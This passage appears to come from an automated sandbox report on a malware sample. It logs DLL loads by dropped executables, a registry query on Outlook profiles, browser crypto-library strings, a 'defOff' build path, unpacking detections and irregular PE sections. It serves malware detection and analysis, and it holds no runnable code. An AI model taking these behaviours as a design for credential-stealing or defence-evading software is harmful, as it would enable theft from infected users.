Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 3235328 > 1048576

Source: file.exe

Static PE information: Raw size of kjmqizur is bigger than: 0x100000 < 0x2aa400

Source:	Binary string: mozglue.pdbP source: 932a9eb371.exe, 00000008.00000002.2829037172.000000006C0ED000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: nss3.pdb@ source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: my_library.pdbU source: 44e053de15.exe, 00000007.00000003.2656371026.000000000854B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2985941651.00000000062DC000.00000040.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.000000000005C000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000002.2832113695.000000006C371000.00000002.00000001.01000000.0000000B.sdmp, 932a9eb371.exe, 00000008.00000003.2452950173.0000000004F1B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2934224445.00000000066AC000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2752337356.0000000008AEB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 44e053de15.exe, 44e053de15.exe, 00000007.00000003.2656371026.000000000854B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2985941651.00000000062DC000.00000040.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.000000000005C000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000002.2832113695.000000006C371000.00000002.00000001.01000000.0000000B.sdmp, 932a9eb371.exe, 00000008.00000003.2452950173.0000000004F1B000.00000004.00001000.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2934224445.00000000066AC000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2752337356.0000000008AEB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 803fbc23e3.exe, 0000000F.00000002.2714857264.00000000008A2000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: mozglue.pdb source: 932a9eb371.exe, 00000008.00000002.2829037172.000000006C0ED000.00000002.00000001.01000000.00000018.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.c10000.0.unpack :EW;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.990000.0.unpack :EW;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.990000.0.unpack :EW;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.990000.0.unpack :EW;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Unpacked PE file: 7.2.44e053de15.exe.cb0000.0.unpack :EW;.rsrc:W;.idata :W;ynqmdufg:EW;eotpqovp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqmdufg:EW;eotpqovp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Unpacked PE file: 8.2.932a9eb371.exe.30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wltmzozy:EW;awschmvg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wltmzozy:EW;awschmvg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Unpacked PE file: 11.2.44e053de15.exe.cb0000.0.unpack :EW;.rsrc:W;.idata :W;ynqmdufg:EW;eotpqovp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqmdufg:EW;eotpqovp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Unpacked PE file: 15.2.803fbc23e3.exe.8a0000.0.unpack :EW;.rsrc:W;.idata :W;bfkuwakp:EW;vmlssxim:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Unpacked PE file: 17.2.932a9eb371.exe.30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wltmzozy:EW;awschmvg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wltmzozy:EW;awschmvg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Unpacked PE file: 18.2.803fbc23e3.exe.8a0000.0.unpack :EW;.rsrc:W;.idata :W;bfkuwakp:EW;vmlssxim:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Unpacked PE file: 19.2.44e053de15.exe.cb0000.0.unpack :EW;.rsrc:W;.idata :W;ynqmdufg:EW;eotpqovp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqmdufg:EW;eotpqovp:EW;.taggant:EW;
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Unpacked PE file: 22.2.DocumentsBAEBGHCFCA.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kjmqizur:EW;gtlovhwt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Unpacked PE file: 23.2.932a9eb371.exe.30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wltmzozy:EW;awschmvg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wltmzozy:EW;awschmvg:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x30a509 should be: 0x309363
Source: 44e053de15.exe.6.dr	Static PE information: real checksum: 0x30a509 should be: 0x309363
Source: 932a9eb371.exe.6.dr	Static PE information: real checksum: 0x20d729 should be: 0x214b4c
Source: DocumentsBAEBGHCFCA.exe.8.dr	Static PE information: real checksum: 0x323b5e should be: 0x318193
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x2bed11 should be: 0x2c1775
Source: 803fbc23e3.exe.6.dr	Static PE information: real checksum: 0x2bed11 should be: 0x2c1775
Source: file.exe	Static PE information: real checksum: 0x323b5e should be: 0x318193
Source: random[2].exe.8.dr	Static PE information: real checksum: 0x323b5e should be: 0x318193
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x323b5e should be: 0x318193
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x20d729 should be: 0x214b4c
Source: chrome.dll.8.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: kjmqizur
Source: file.exe	Static PE information: section name: gtlovhwt
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: kjmqizur
Source: skotes.exe.0.dr	Static PE information: section name: gtlovhwt
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: ynqmdufg
Source: random[1].exe.6.dr	Static PE information: section name: eotpqovp
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 44e053de15.exe.6.dr	Static PE information: section name:
Source: 44e053de15.exe.6.dr	Static PE information: section name: .idata
Source: 44e053de15.exe.6.dr	Static PE information: section name: ynqmdufg
Source: 44e053de15.exe.6.dr	Static PE information: section name: eotpqovp
Source: 44e053de15.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: wltmzozy
Source: random[1].exe0.6.dr	Static PE information: section name: awschmvg
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 932a9eb371.exe.6.dr	Static PE information: section name:
Source: 932a9eb371.exe.6.dr	Static PE information: section name: .rsrc
Source: 932a9eb371.exe.6.dr	Static PE information: section name: .idata
Source: 932a9eb371.exe.6.dr	Static PE information: section name:
Source: 932a9eb371.exe.6.dr	Static PE information: section name: wltmzozy
Source: 932a9eb371.exe.6.dr	Static PE information: section name: awschmvg
Source: 932a9eb371.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name: bfkuwakp
Source: random[1].exe1.6.dr	Static PE information: section name: vmlssxim
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 803fbc23e3.exe.6.dr	Static PE information: section name:
Source: 803fbc23e3.exe.6.dr	Static PE information: section name: .idata
Source: 803fbc23e3.exe.6.dr	Static PE information: section name: bfkuwakp
Source: 803fbc23e3.exe.6.dr	Static PE information: section name: vmlssxim
Source: 803fbc23e3.exe.6.dr	Static PE information: section name: .taggant
Source: freebl3.dll.8.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.8.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.8.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.8.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.8.dr	Static PE information: section name: .didat
Source: nss3.dll.8.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.8.dr	Static PE information: section name: .00cfg
